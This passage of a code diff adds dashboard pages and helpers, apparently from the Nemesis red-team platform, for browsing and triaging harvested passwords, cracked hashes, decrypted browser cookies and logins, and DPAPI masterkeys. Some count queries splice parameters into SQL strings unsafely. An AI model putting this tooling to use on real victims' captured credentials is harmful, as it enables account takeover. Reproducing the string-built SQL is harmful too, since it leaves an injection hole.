+ appropriate option. + """ + ) + + # these are our filter tags + triage_tags = ["Useful", "Not Useful", "Unknown", None] + + with st.expander("Triage tags"): + options = st.multiselect("Triage Tags", triage_tags, triage_tags, on_change=st.cache_data.clear) + + # trigger getting the password data in case we have a cache hit + df = utils.get_password_data() + + # force a cache reset if "df_loaded" is missing - this happens on a hard reload + if "df_loaded" not in st.session_state: + st.cache_data.clear() + print("[!] Resetting cache") + df = utils.get_password_data() + # if we're hard reloading, make sure the "display_object_id" cookie is wiped out + cookies["display_object_id"] = None + cookies.save() + + df_filtered = df[df["triage"].isin(options)] + + if df_filtered is None: + st.error("No `authentication_data` retrieved!", icon="🚨") + elif df_filtered.empty: + st.error("No `authentication_data` exists!", icon="🚨") + elif df_filtered.empty: + st.error("No matching `authentication_data` for the given filters!") + else: + gb = GridOptionsBuilder.from_dataframe(df_filtered) + gb.configure_default_column(groupable=True) + + # configure pagination with our PAGE_SIZE + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=PAGE_SIZE) + + # hide some metadata columns from the user + gb.configure_column("unique_db_id", hide=True) + gb.configure_column("agent_id", hide=True) + gb.configure_column("timestamp", hide=True) + + gb.configure_column("username", wrapText=True, autoHeight=True) + gb.configure_column("data", wrapText=True, autoHeight=True) + gb.configure_column("url", wrapText=True, autoHeight=True) + + # set the "triage" column to be editable with our "triage_tags" values as a popup modal + gb.configure_column( + "triage", + editable=True, + groupable=True, + cellEditor="agRichSelectCellEditor", + cellEditorParams={"values": triage_tags}, + cellEditorPopup=True, + singleClickEdit=True, + ) + + # set the "notes" column to be editable + gb.configure_column("notes", editable=True, groupable=True, singleClickEdit=True) + + # custom JavaScript code that constructs a public Kibana link from a supplied + # object_id and lets you render the HTML link clickable + js_link_code = """ + class UrlCellRenderer { + init(params) { + this.params = params; + this.eGui = document.createElement('button'); + this.eGui.innerHTML = 'View Originating File'; + this.btnClickedHandler = this.btnClickedHandler.bind(this); + this.eGui.addEventListener('click', this.btnClickedHandler); + } + getGui() { + return this.eGui; + } + btnClickedHandler(event) { + document.cookie = "display_object_id=" + this.params.value + "; path=/"; + let api = this.params.api; + let rowIndex = this.params.rowIndex; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + } + destroy() { + this.eGui.removeEventListener('click', this.btnClickedHandler); + } + } + """ + + # set the object_id column to use the custom Kibana link JavaScript code + gb.configure_column("object_id", headerName="Originating Object", cellRenderer=JsCode(js_link_code)) + + # custom JavaScript code that manually sets an applied row as "selected" + # so that row is returned with grid["selected_rows"] on editing + # Yes, this is a hack, but it's because we can't otherwise easily return + # _just_ the row that's been edited instead of the entire stupid dataframe + js_cell_changed = JsCode( + """ + function(e) { + let api = e.api; + let rowIndex = e.rowIndex; + let col = e.column.colId; + let rowNode = api.getDisplayedRowAtIndex(rowIndex); + rowNode.setSelected(true); + }; + """ + ) + + # the triage column is the only editable column, so don't need to otherwise constrain here + gb.configure_grid_options(onCellValueChanged=js_cell_changed) + + # build and display our grid + grid = AgGrid( + df_filtered, + gridOptions=gb.build(), + width="100%", + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED | GridUpdateMode.SELECTION_CHANGED, + fit_columns_on_grid_load=True, + allow_unsafe_jscode=True, + allow_unsafe_html=True, + ) + + # if a "display_object_id" cookie was set, display that file below the table + if "display_object_id" in cookies and cookies["display_object_id"]: + object_id = cookies["display_object_id"] + query = {"bool": {"must": {"match": {"objectId": object_id}}}} + fields = [ + "objectId", + "name", + "magicType", + "path", + "nemesisFileType", + "parsedData", + "hashes.sha1", + "metadata.source", + "convertedPdfURL", + ] + logging.getLogger("elasticsearch").setLevel(logging.ERROR) + results = es_client.search(index="file_data_enriched", query=query, source_includes=fields) + + if len(results["hits"]["hits"]) == 1: + base_result = results["hits"]["hits"][0]["_source"] + nemesis_file_type = base_result["nemesisFileType"] + + match nemesis_file_type: + case "office_doc_new": + templates.office_document(base_result) + case "office_doc_ole": + templates.office_document(base_result) + case _: + templates.default_file(base_result) + else: + for row in grid["selected_rows"]: + utils.update_triage_table(row["unique_db_id"], "authentication_data", current_user, row["triage"], row["object_id"]) + utils.update_notes_table(row["unique_db_id"], "authentication_data", current_user, row["notes"]) diff --git a/cmd/dashboard/dashboard/pages/6_NoseyParker.py b/cmd/dashboard/dashboard/pages/6_NoseyParker.py new file mode 100644 index 0000000..4bae721 --- /dev/null +++ b/cmd/dashboard/dashboard/pages/6_NoseyParker.py @@ -0,0 +1,82 @@ +# Standard Libraries +import os +import urllib + +# 3rd Party Libraries +import streamlit as st +import templates +import utils +from annotated_text import annotated_text, annotation + +utils.header() + +page_size = int(os.environ["PAGE_SIZE"]) +nemesis_http_server = os.environ.get("NEMESIS_HTTP_SERVER") or "" + + +if st.session_state["authentication_status"]: + with st.expander("About NoseyParker Search"): + st.markdown( + """ + This page lists all files that have NoseyParker results. + + Results are grouped by each file with matching results. + """ + ) + + # default values + if "np_page" not in st.session_state: + st.session_state.np_page = 1 + + # get parameters in url + para = st.experimental_get_query_params() + if "np_page" in para: + st.experimental_set_query_params() + st.session_state.np_page = int(para["np_page"][0]) + + from_i = (st.session_state.np_page - 1) * page_size + results = utils.elastic_np_search(from_i, page_size) + + if results != {}: + total_hits = results["hits"]["total"]["value"] + num_results = len(results["hits"]["hits"]) + + if total_hits > 0: + st.write(templates.number_of_results(total_hits, results["took"] / 1000), unsafe_allow_html=True) + + for i in range(num_results): + object_id = results["hits"]["hits"][i]["_source"]["objectId"] + download_url = f"{nemesis_http_server}/api/download/{object_id}" + path = results["hits"]["hits"][i]["_source"]["path"] + source = "" + if "metadata" in results["hits"]["hits"][i]["_source"] and "source" in results["hits"]["hits"][i]["_source"]["metadata"]: + source = results["hits"]["hits"][i]["_source"]["metadata"]["source"] + + with st.expander(f"{source} : {path}"): + st.write( + f""" + + Download File + + """, + unsafe_allow_html=True, + ) + st.divider() + for ruleMatch in results["hits"]["hits"][i]["_source"]["noseyparker"]["ruleMatches"]: + for match in ruleMatch["matches"]: + rule_name = match["ruleName"] + before = match["snippet"]["before"].replace("\n\t", " ") + matching = match["snippet"]["matching"] + after = match["snippet"]["after"].replace("\n\t", " ") + + st.write(f"Rule: {rule_name}", unsafe_allow_html=True) + annotated_text(annotation(before, "context", color="#8ef"), annotation(matching, "match"), annotation(after, "context", color="#8ef")) + st.divider() + + # pagination + if total_hits > page_size: + total_pages = (total_hits + page_size - 1) // page_size + pagination_html = templates.np_pagination(total_pages, st.session_state.np_page) + st.write(pagination_html, unsafe_allow_html=True) + else: + st.write(templates.no_result_html(), unsafe_allow_html=True) diff --git a/cmd/dashboard/dashboard/pages/7_Hashes.py b/cmd/dashboard/dashboard/pages/7_Hashes.py new file mode 100644 index 0000000..b4145ce --- /dev/null +++ b/cmd/dashboard/dashboard/pages/7_Hashes.py @@ -0,0 +1,76 @@ +# Standard Libraries +import os + +# 3rd Party Libraries +import pandas as pd +import streamlit as st +import utils + +# from PIL import Image +from sqlalchemy import create_engine +from sqlalchemy import text as sql_text +from st_aggrid import AgGrid, DataReturnMode, GridOptionsBuilder, GridUpdateMode, JsCode + +PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") or "" +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +DB_ITERATION_SIZE = os.environ.get("DB_ITERATION_SIZE") or "" +PAGE_SIZE = os.environ.get("PAGE_SIZE") or "" +PAGE_SIZE = int(PAGE_SIZE) + +engine = create_engine(POSTGRES_CONNECTION_URI) +conn = engine.connect() + + +utils.header() + +if st.session_state["authentication_status"]: + st.title("Hashes") + + with st.expander("About Hashes"): + st.markdown( + """ + This page shows hashes that have been extracted from processed Nemesis data. + """ + ) + + query = "SELECT agent_id, timestamp, hash_type, hash_value, is_cracked, plaintext_value, originating_object_id::varchar as object_id from extracted_hashes" + df = pd.read_sql_query(sql_text(query), conn) + + gb = GridOptionsBuilder.from_dataframe(df) + gb.configure_default_column(groupable=True) + + gb.configure_pagination(enabled=True, paginationAutoPageSize=False, paginationPageSize=PAGE_SIZE) + + gb.configure_column("agent_id", hide=True) + gb.configure_column("timestamp", hide=True) + + js_link_code = """ + class UrlCellRenderer { + init(params) { + var link = "%sapp/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'" + params.value + "')))))&_g=(time:(from:now-1y%%2Fd,to:now))"; + this.eGui = document.createElement('a'); + this.eGui.innerText = 'Link To Originating File'; + this.eGui.setAttribute('href', link); + this.eGui.setAttribute('style', "text-decoration:none"); + this.eGui.setAttribute('target', "_blank"); + } + getGui() { + return this.eGui; + } + } + """ % ( + PUBLIC_KIBANA_URL + ) + + gb.configure_column("object_id", headerName="Originating Object", cellRenderer=JsCode(js_link_code)) + + grid = AgGrid( + df, + gridOptions=gb.build(), + width="100%", + data_return_mode=DataReturnMode.AS_INPUT, + update_mode=GridUpdateMode.VALUE_CHANGED, + fit_columns_on_grid_load=True, + allow_unsafe_jscode=True, + allow_unsafe_html=True, + ) diff --git a/cmd/dashboard/dashboard/templates.py b/cmd/dashboard/dashboard/templates.py new file mode 100644 index 0000000..7386401 --- /dev/null +++ b/cmd/dashboard/dashboard/templates.py @@ -0,0 +1,347 @@ +# Standard Libraries +import os +import urllib.parse +import re + +# 3rd Party Libraries +import streamlit as st + +# Adapted from https://github.com/chiachong/medium-search-app/blob/9fde32173731d4f696fdee05454314277504d89f/srcs/streamlit_app/templates.py + + +PUBLIC_KIBANA_URL = os.environ.get("PUBLIC_KIBANA_URL") +WEB_API_URL = os.environ.get("WEB_API_URL") +NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER") + + +def no_result_html() -> str: + """ """ + return """ +
+ No results were found. +

+ """ + + +def number_of_results(total_hits: int, duration: float = -1.0) -> str: + """HTML scripts to display number of results and time taken.""" + if duration < 0: + return f""" +
+ {total_hits} results +

+ """ + else: + return f""" +
+ {total_hits} results ({duration:.2f} seconds) +

+ """ + + +def text_pagination(total_pages: int, search: str, current_page: int) -> str: + """Create and return html for text search pagination.""" + + # search words + params = f"?text_search={urllib.parse.quote(search)}" + + # avoid invalid page number (<=0) + if (current_page - 5) > 0: + start_from = current_page - 5 + else: + start_from = 1 + + hrefs = [] + if current_page != 1: + hrefs.append(f'<<First') + hrefs.append(f'<Previous') + + for i in range(start_from, min(total_pages + 1, start_from + 10)): + if i == current_page: + hrefs.append(f"{current_page}") + else: + hrefs.append(f'{i}') + + if current_page != total_pages: + hrefs.append(f'Next>') + + return "
" + " ".join(hrefs) + "
" + + +def file_pagination(total_pages: int, current_page: int, search_params: dict) -> str: + """Create and return html for file pagination.""" + + params = "".join([f"&{urllib.parse.quote(str(k))}={urllib.parse.quote(str(v))}" for k, v in search_params.items() if v]) + + # avoid invalid page number (<=0) + if (current_page - 5) > 0: + start_from = current_page - 5 + else: + start_from = 1 + + hrefs = [] + if current_page != 1: + hrefs.append(f'<<First') + hrefs.append(f'<Previous') + + for i in range(start_from, min(total_pages + 1, start_from + 10)): + if i == current_page: + hrefs.append(f"{current_page}") + else: + hrefs.append(f'{i}') + + if current_page != total_pages: + hrefs.append(f'Next>') + + hrefs.insert(0, f'Current Page Link') + + return "
" + " ".join(hrefs) + "
" + + +def np_pagination(total_pages: int, current_page: int) -> str: + """Create and return html for NoseyParker pagination.""" + + # avoid invalid page number (<=0) + if (current_page - 5) > 0: + start_from = current_page - 5 + else: + start_from = 1 + + hrefs = [] + if current_page != 1: + hrefs.append(f'<<First') + hrefs.append(f'<Previous') + + for i in range(start_from, min(total_pages + 1, start_from + 10)): + if i == current_page: + hrefs.append(f"{current_page}") + else: + hrefs.append(f'{i}') + + if current_page != total_pages: + hrefs.append(f'Next>') + + return "
" + " ".join(hrefs) + "
" + + +def text_search_result( + i: int, url: str, pdf_url: str, source: str, path: str, highlights: str, length: str, originating_object_id: str, **kwargs +) -> str: + """HTML scripts to display text search results.""" + + download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{originating_object_id}" + + return (f""" +
+ {i + 1}. + + {path} + +
+
+
+ {length} words +   + + PDF Link + +    + + Download File + +
+
""", highlights , """
+
+ """) + + +def sourcecode_search_result( + i: int, elastic_url: str, download_url: str, source: str, path: str, name: str, language: str, highlights: str, size: str, **kwargs +) -> str: + """HTML scripts to display text search results.""" + + view_url = f"{download_url}?name={name}" + + return (f""" +
+ {i + 1}. + + {path} + +
+
+
+ {language} +   + {size} bytes +   + + View File + +    + + Download File + +
+
""", highlights , """
+
+ """) + + +def semantic_search_result(result) -> str: + """HTML scripts to display a semantic search json result.""" + + text = result["text"] + score = result["score"] + source = "" + if "source" in result: + source = result["source"] + originating_object_id = result["originating_object_id"] + download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{originating_object_id}" + originating_object_path = result["originating_object_path"] + pdf_object_id = result["originating_object_pdf"] + originating_object_url = f"{PUBLIC_KIBANA_URL}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{originating_object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))" + originating_object_pdf_url = f"{WEB_API_URL}download/{pdf_object_id}?name=result.pdf&action=view" + + return (f""" + +
+
+ Score: {score} +   + + PDF Link + +    + + Download File + +
+
""", text, """
+
+ """) + + +def default_file(base_result: dict) -> str: + """Return HTML to display an default file.""" + + nemesis_file_type = base_result["nemesisFileType"] + path = base_result["path"] + source = "" + if "metadata" in base_result and "source" in base_result["metadata"]: + source = base_result["metadata"]["source"] + parsed_data = base_result["parsedData"] + sha1 = base_result["hashes"]["sha1"] + magic_type = base_result["magicType"] + object_id = base_result["objectId"] + + kibana_base = os.environ.get("PUBLIC_KIBANA_URL") or "" + kibana_url = ( + f"{kibana_base}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))))&_g=(time:(from:now-1y%%2Fd,to:now))" + ) + download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}" + + st.write( + f""" + +
+
+ Source: {source} +
+
+ Download File: + + download + +
+
+ Magic Type: {magic_type} +
+
+ Nemesis File Type: {nemesis_file_type} +
+
+ SHA1: {sha1} +
+
+
+
+ """, + unsafe_allow_html=True, + ) + + if parsed_data: + st.write("Parsed File Data:") + st.json(parsed_data) + + +def office_document(base_result: dict) -> str: + """Return HTML to display an office document.""" + + nemesis_file_type = base_result["nemesisFileType"] + path = base_result["path"] + source = "" + if "metadata" in base_result and "source" in base_result["metadata"]: + source = base_result["metadata"]["source"] + parsed_data = base_result["parsedData"] + sha1 = base_result["hashes"]["sha1"] + magic_type = base_result["magicType"] + object_id = base_result["objectId"] + pdf_url = base_result["convertedPdfURL"] + + kibana_base = os.environ.get("PUBLIC_KIBANA_URL") or "" + kibana_url = ( + f"{kibana_base}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))))&_g=(time:(from:now-1y%%2Fd,to:now))" + ) + download_url = f"{NEMESIS_HTTP_SERVER}/api/download/{object_id}" + + st.write( + f""" + +
+
+ Source: {source} +
+
+ Download File: + + download + +
+
+ View PDF: + + view + +
+
+ Magic Type: {magic_type} +
+
+ Nemesis File Type: {nemesis_file_type} +
+
+ SHA1: {sha1} +
+
+
+
+ """, + unsafe_allow_html=True, + ) + + if parsed_data: + st.write("Parsed File Data:") + st.json(parsed_data) diff --git a/cmd/dashboard/dashboard/utils.py b/cmd/dashboard/dashboard/utils.py new file mode 100644 index 0000000..063ca92 --- /dev/null +++ b/cmd/dashboard/dashboard/utils.py @@ -0,0 +1,899 @@ +# Standard Libraries +import datetime +import os +import re +import time +from typing import List, Tuple + +# 3rd Party Libraries +import bcrypt +import pandas as pd +import psycopg +import requests +import streamlit as st +import streamlit_authenticator as stauth +from elasticsearch import Elasticsearch +from sqlalchemy import create_engine +from sqlalchemy import text as sql_text + +# pull in and check all of our required environment variables +WAIT_TIMEOUT = 5 +POSTGRES_CONNECTION_URI = os.environ.get("POSTGRES_CONNECTION_URI") or "" +ELASTICSEARCH_URL = os.environ.get("ELASTICSEARCH_URL") or "" +ELASTICSEARCH_USER = os.environ.get("ELASTICSEARCH_USER") or "" +ELASTICSEARCH_PASSWORD = os.environ.get("ELASTICSEARCH_PASSWORD") or "" +DASHBOARD_USER = os.environ.get("DASHBOARD_USER") +DASHBOARD_PASSWORD = os.environ.get("DASHBOARD_PASSWORD") +NLP_URL = os.environ.get("NLP_URL") +NEMESIS_API_URL = "http://enrichment-webapi:9910/" + +if not all( + var is not None and var != "" + for var in ( + POSTGRES_CONNECTION_URI, + ELASTICSEARCH_URL, + ELASTICSEARCH_USER, + ELASTICSEARCH_PASSWORD, + DASHBOARD_USER, + DASHBOARD_PASSWORD, + NLP_URL, + ) +): + raise Exception("Missing environment variables. Please check your .env file.") + +engine = create_engine(POSTGRES_CONNECTION_URI) + + +###################################################### +# +# NLP helpers +# +###################################################### + + +def semantic_search(search_phrase: str, num_results: int = 4) -> dict: + """ + Calls {NLP_URL}/semantic_search to extract password candidates from a plaintext document. + """ + + try: + data = {"search_phrase": search_phrase, "num_results": num_results} + url = f"{NLP_URL}semantic_search" + result = requests.post(url, json=data) + return result.json() + except Exception as e: + return {"error": f"Error calling semantic_search with search_phrase '{search_phrase}' : {e}"} + + +###################################################### +# +# Postgres helpers (mostly for the Chromium page) +# +###################################################### + +def get_unique_sources(table: str): + """ + Given a table name return all of the unique sources for that table. + """ + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + cur.execute(f"SELECT DISTINCT source FROM nemesis.{table}") + return [x[0] for x in cur.fetchall()] + except Exception as e: + st.error(f"Exception querying the database: {e}") + + +def get_unique_projects(table: str): + """ + Given a table name return all of the unique project for that table. + """ + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + cur.execute(f"SELECT DISTINCT project_id FROM nemesis.{table}") + return [x[0] for x in cur.fetchall()] + except Exception as e: + st.error(f"Exception querying the database: {e}") + + +def get_usernames_for_source(table: str, source: str) -> List[str]: + """ + Given a table name (cookies, logins, history, downloads) and source term + return all of the unique usernames for that source/table. + """ + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + cur.execute(f"SELECT DISTINCT username FROM nemesis.chromium_{table} WHERE source ILIKE %s", (source,)) + return [x[0] for x in cur.fetchall()] + + +def get_browsers_for_source_username(table: str, source: str, username: str) -> List[str]: + """ + Given a table name (cookies, logins, history, downloads), source term, and + username return all of the unique browsers for that combination. + """ + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + cur.execute( + f"SELECT DISTINCT browser FROM nemesis.chromium_{table} WHERE source ILIKE %s AND username ILIKE %s", (source, username) + ) + return ["all"] + [x[0] for x in cur.fetchall()] + + +def get_cookie_df( + source: str, username: str, browser: str, site: str, name: str, show_encrypted: bool, show_expired: bool +) -> pd.DataFrame: + """Return a cookies dataframe based on the query parameters.""" + + query = """ + SELECT chromium_cookies.source AS source, chromium_cookies.username AS username, chromium_cookies.browser AS browser, chromium_cookies.host_key AS domain, chromium_cookies.name AS name, chromium_cookies.path AS path, chromium_cookies.value_dec AS value, chromium_cookies.expires_utc AS expires_utc, chromium_cookies.unique_db_id::varchar AS unique_db_id, notes.value as notes + + FROM chromium_cookies + + LEFT JOIN notes + ON chromium_cookies.unique_db_id = notes.unique_db_id + + WHERE source ILIKE :source AND username ILIKE :username AND browser ILIKE :browser AND host_key ILIKE :host_key AND name ILIKE :name + """ + + if not show_encrypted: + query += " AND is_decrypted = True" + + if not show_expired: + query += " AND expires_utc > now() at time zone 'utc'" + + try: + with engine.connect() as conn: + params = {"source": source, "username": username, "browser": browser, "host_key": site, "name": name} + return pd.read_sql_query(sql_text(query), conn, params=params) + except Exception as e: + st.error(f"Error retrieving `chromium_cookies` from the database: {e}", icon="🚨") + print(f"Exception: {e}") + + +def get_login_df( + source: str, username: str, browser: str, url: str, login_username: str, show_encrypted: bool, show_blank: bool +) -> pd.DataFrame: + """Return a logins dataframe based on the query parameters.""" + + query = """ + SELECT chromium_logins.source AS source, chromium_logins.username AS username, chromium_logins.browser AS browser, chromium_logins.origin_url AS url, chromium_logins.username_value AS username_value, chromium_logins.password_value_dec AS password, chromium_logins.date_last_used AS last_used, chromium_logins.times_used AS used, chromium_logins.unique_db_id::varchar AS unique_db_id, notes.value as notes + + FROM chromium_logins + + LEFT JOIN notes + ON chromium_logins.unique_db_id = notes.unique_db_id + + WHERE source ILIKE :source AND username ILIKE :username AND browser ILIKE :browser AND origin_url ILIKE :url AND username_value ILIKE :login_username + """ + + if not show_encrypted: + query += " AND is_decrypted = True" + if show_blank: + query += " AND length(password_value_dec) > 0" + + try: + with engine.connect() as conn: + params = {"source": source, "username": username, "browser": browser, "url": url, "login_username": login_username} + return pd.read_sql_query(sql_text(query), conn, params=params) + except Exception as e: + st.error(f"Error retrieving `chromium_logins` from the database: {e}", icon="🚨") + + +def get_history_df(source: str, username: str, browser: str, url: str, title: str): + """Return a history dataframe based on the query parameters.""" + + query = """ + SELECT chromium_history.source AS source, chromium_history.username AS username, chromium_history.browser AS browser, chromium_history.url AS url, chromium_history.title AS title, chromium_history.visit_count AS visits, chromium_history.last_visit_time AS last_visit_time, chromium_history.unique_db_id::varchar AS unique_db_id, notes.value as notes + + FROM chromium_history + + LEFT JOIN notes + ON chromium_history.unique_db_id = notes.unique_db_id + + WHERE chromium_history.source ILIKE :source AND chromium_history.username ILIKE :username AND chromium_history.browser ILIKE :browser AND chromium_history.url ILIKE :url AND chromium_history.title ILIKE :title + """ + try: + with engine.connect() as conn: + params = {"source": source, "username": username, "browser": browser, "url": url, "title": title} + return pd.read_sql_query(sql_text(query), conn, params=params) + except Exception as e: + st.error(f"Error retrieving `chromium_history` from the database: {e}", icon="🚨") + + +def get_download_df(source: str, username: str, browser: str, url: str, download_path: str): + """Return a downloads dataframe based on the query parameters.""" + + query = """ + SELECT chromium_downloads.source AS source, chromium_downloads.username AS username, chromium_downloads.browser AS browser, chromium_downloads.url AS url, chromium_downloads.download_path as download_path, chromium_downloads.end_time as timestamp, chromium_downloads.danger_type as danger_type, chromium_downloads.unique_db_id::varchar AS unique_db_id, notes.value as notes + + FROM chromium_downloads + + LEFT JOIN notes + ON chromium_downloads.unique_db_id = notes.unique_db_id + + WHERE chromium_downloads.source ILIKE :source AND chromium_downloads.username ILIKE :username AND chromium_downloads.browser ILIKE :browser AND chromium_downloads.url ILIKE :url AND chromium_downloads.download_path ILIKE :download_path + """ + try: + with engine.connect() as conn: + params = {"source": source, "username": username, "browser": browser, "url": url, "download_path": download_path} + return pd.read_sql_query(sql_text(query), conn, params=params) + except Exception as e: + st.error(f"Error retrieving `chromium_downloads` from the database: {e}", icon="🚨") + + +@st.cache_data(ttl=1000, show_spinner="Fetching fresh data from the database...") +def get_masterkeys() -> pd.DataFrame: + """Performs the main database query for masterkeys so the data can be cached on reruns.""" + + query = """ + SELECT dpapi_masterkeys.source, dpapi_masterkeys.username, dpapi_masterkeys.user_sid, dpapi_masterkeys.timestamp, dpapi_masterkeys.type, dpapi_masterkeys.masterkey_guid::text, dpapi_masterkeys.is_decrypted, COUNT(dpapi_blobs.unique_db_id) AS dpapi_blobs, COUNT(chromium_state_files.unique_db_id) AS state_files + + from dpapi_masterkeys + + LEFT JOIN dpapi_blobs + ON dpapi_masterkeys.masterkey_guid = dpapi_blobs.masterkey_guid + + LEFT JOIN chromium_state_files + ON dpapi_masterkeys.masterkey_guid = chromium_state_files.masterkey_guid + + GROUP BY dpapi_masterkeys.masterkey_guid + """ + + try: + with engine.connect() as conn: + # read the query directly into the dataframe and return it + df = pd.read_sql_query(sql_text(query), conn) + + # st.session_state["df"] is set to the database output on each non-cached run + st.session_state["df_loaded"] = True + print("[*] Retrieved fresh data from the database!") + return df + except Exception as e: + st.error(f"Error retrieving dpapi_masterkeys from the database: {e}", icon="🚨") + + +@st.cache_data(ttl=1000, show_spinner="Fetching fresh data from the database...") +def get_password_data() -> pd.DataFrame: + """Performs the main database query for passwords so the data can be cached on reruns.""" + + # query the `nemesis.authentication_data` table for entries of type "password" + # we need a left outer join here with the `nemesis.triage` table + query = """ + SELECT authentication_data.unique_db_id::varchar, authentication_data.agent_id, authentication_data.timestamp, authentication_data.username, authentication_data.data, authentication_data.uri as url, authentication_data.source, authentication_data.originating_object_id::varchar as object_id, triage.value as triage, notes.value as notes + + FROM authentication_data + + LEFT JOIN triage + ON authentication_data.unique_db_id = triage.unique_db_id + + LEFT JOIN notes + ON authentication_data.unique_db_id = notes.unique_db_id + + WHERE authentication_data.type = 'password' + """ + + try: + with engine.connect() as conn: + # read the query directly into the dataframe and return it + df = pd.read_sql_query(sql_text(query), conn) + + # st.session_state["df"] is set to the database output on each non-cached run + st.session_state["df_loaded"] = True + print("[*] Retrieved fresh data from the database!") + return df + except Exception as e: + st.error(f"Error retrieving authentication_data from the database: {e}", icon="🚨") + + +def update_triage_table(unique_db_id: str, table_name: str, operator: str, triage_value: str, originating_object_id: str = "") -> None: + """ + Updates the triage table with the triage value for the specified unique_db_id. + + If an originating_object_id is passed, that file object is updated as well. + """ + try: + # update the triage value in the Postgres `nemesis.triage` table for this unique_db_id + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + print(f"[*] Changing triage for unique_db_id object '{unique_db_id}' to value '{triage_value}'") + + with conn.cursor() as cur: + cur.execute( + """ + INSERT INTO nemesis.triage (unique_db_id, table_name, operator, value, modification_time) + VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc') + ON CONFLICT (unique_db_id) + DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc' + """, + {"unique_db_id": unique_db_id, "table_name": table_name, "operator": operator, "value": triage_value}, + ) + + # update the originating object + if originating_object_id: + cur.execute( + """ + SELECT unique_db_id::varchar + FROM nemesis.file_data_enriched + WHERE object_id = %s + """, + (originating_object_id,), + ) + output = cur.fetchone() + if output: + print(f"[*] Changing originating_object_id object '{originating_object_id}' to triage value '{triage_value}'") + cur.execute( + """ + INSERT INTO nemesis.triage (unique_db_id, table_name, operator, value, modification_time) + VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc') + ON CONFLICT (unique_db_id) + DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc' + """, + {"unique_db_id": unique_db_id, "table_name": "file_data_enriched", "operator": operator, "value": triage_value}, + ) + conn.commit() + + except Exception as e: + st.error(f"Exception saving data to the database: {e}", icon="🚨") + + +def update_notes_table(unique_db_id: str, table_name: str, operator: str, notes_value: str) -> None: + """ + Updates the notes table with the notes value for the specified unique_db_id. + """ + try: + # update the triage value in the Postgres `nemesis.triage` table for this unique_db_id + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + print(f"[*] Changing notes for unique_db_id object '{unique_db_id}' to value '{notes_value}'") + with conn.cursor() as cur: + cur.execute( + """ + INSERT INTO nemesis.notes (unique_db_id, table_name, operator, value, modification_time) + VALUES (%(unique_db_id)s, %(table_name)s, %(operator)s, %(value)s, now() at time zone 'utc') + ON CONFLICT (unique_db_id) + DO UPDATE SET value = %(value)s, modification_time = now() at time zone 'utc' + """, + {"unique_db_id": unique_db_id, "table_name": table_name, "operator": operator, "value": notes_value}, + ) + + conn.commit() + + except Exception as e: + st.error(f"Exception saving data to the database: {e}", icon="🚨") + + +def postgres_count_entries(table_name: str) -> int: + """ + Given a table name, returns the total number of entries. + """ + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + cur.execute(f"SELECT COUNT(*) FROM nemesis.{table_name}") + return cur.fetchone()[0] + except Exception as e: + return -1 + + +def postgres_count_dpapi_blobs(show_all=True, show_dec=True, masterkey_guid=""): + """ + Count the number of dpapi_blobs matching specific criteria. + """ + + query = "SELECT COUNT(*) FROM nemesis.dpapi_blobs " + + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + if not show_all: + # if this section isn't hit, all enc/dec are shown + if show_dec: + # only show decrypted + query += "WHERE is_decrypted = True " + else: + # only show encrypted + query += "WHERE is_decrypted = False " + if masterkey_guid != "": + query += f"WHERE masterkey_guid = '{masterkey_guid}'" + elif masterkey_guid != "": + query += f"WHERE masterkey_guid = '{masterkey_guid}'" + cur.execute(query) + return cur.fetchone()[0] + except Exception as e: + print(f"Exception: {e}") + return -1 + + +def postgres_count_state_files(show_all=True, show_dec=True, masterkey_guid=""): + """ + Count the number of chromium_state_files matching specific criteria. + """ + + query = "SELECT COUNT(*) FROM nemesis.chromium_state_files " + + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + if not show_all: + # if this section isn't hit, all enc/dec are shown + if show_dec: + # only show decrypted + query += "WHERE is_decrypted = True " + else: + # only show encrypted + query += "WHERE is_decrypted = False " + if masterkey_guid != "": + query += f"WHERE masterkey_guid = '{masterkey_guid}'" + elif masterkey_guid != "": + query += f"WHERE masterkey_guid = '{masterkey_guid}'" + cur.execute(query) + return cur.fetchone()[0] + except Exception as e: + print(f"Exception: {e}") + return -1 + + +def postgres_count_masterkeys(show_all=True, show_dec=True, key_type=""): + """ + Count the number of masterkeys matching specific criteria. + + Types: domain_user, local_user, machine + """ + + query = "SELECT COUNT(*) FROM nemesis.dpapi_masterkeys " + + try: + with psycopg.connect(POSTGRES_CONNECTION_URI) as conn: + with conn.cursor() as cur: + if not show_all: + # if this section isn't hit, all enc/dec are shown + if show_dec: + # only show decrypted + query += "WHERE is_decrypted = True " + else: + # only show encrypted + query += "WHERE is_decrypted = False " + if key_type: + query += f"AND type = '{key_type}'" + elif 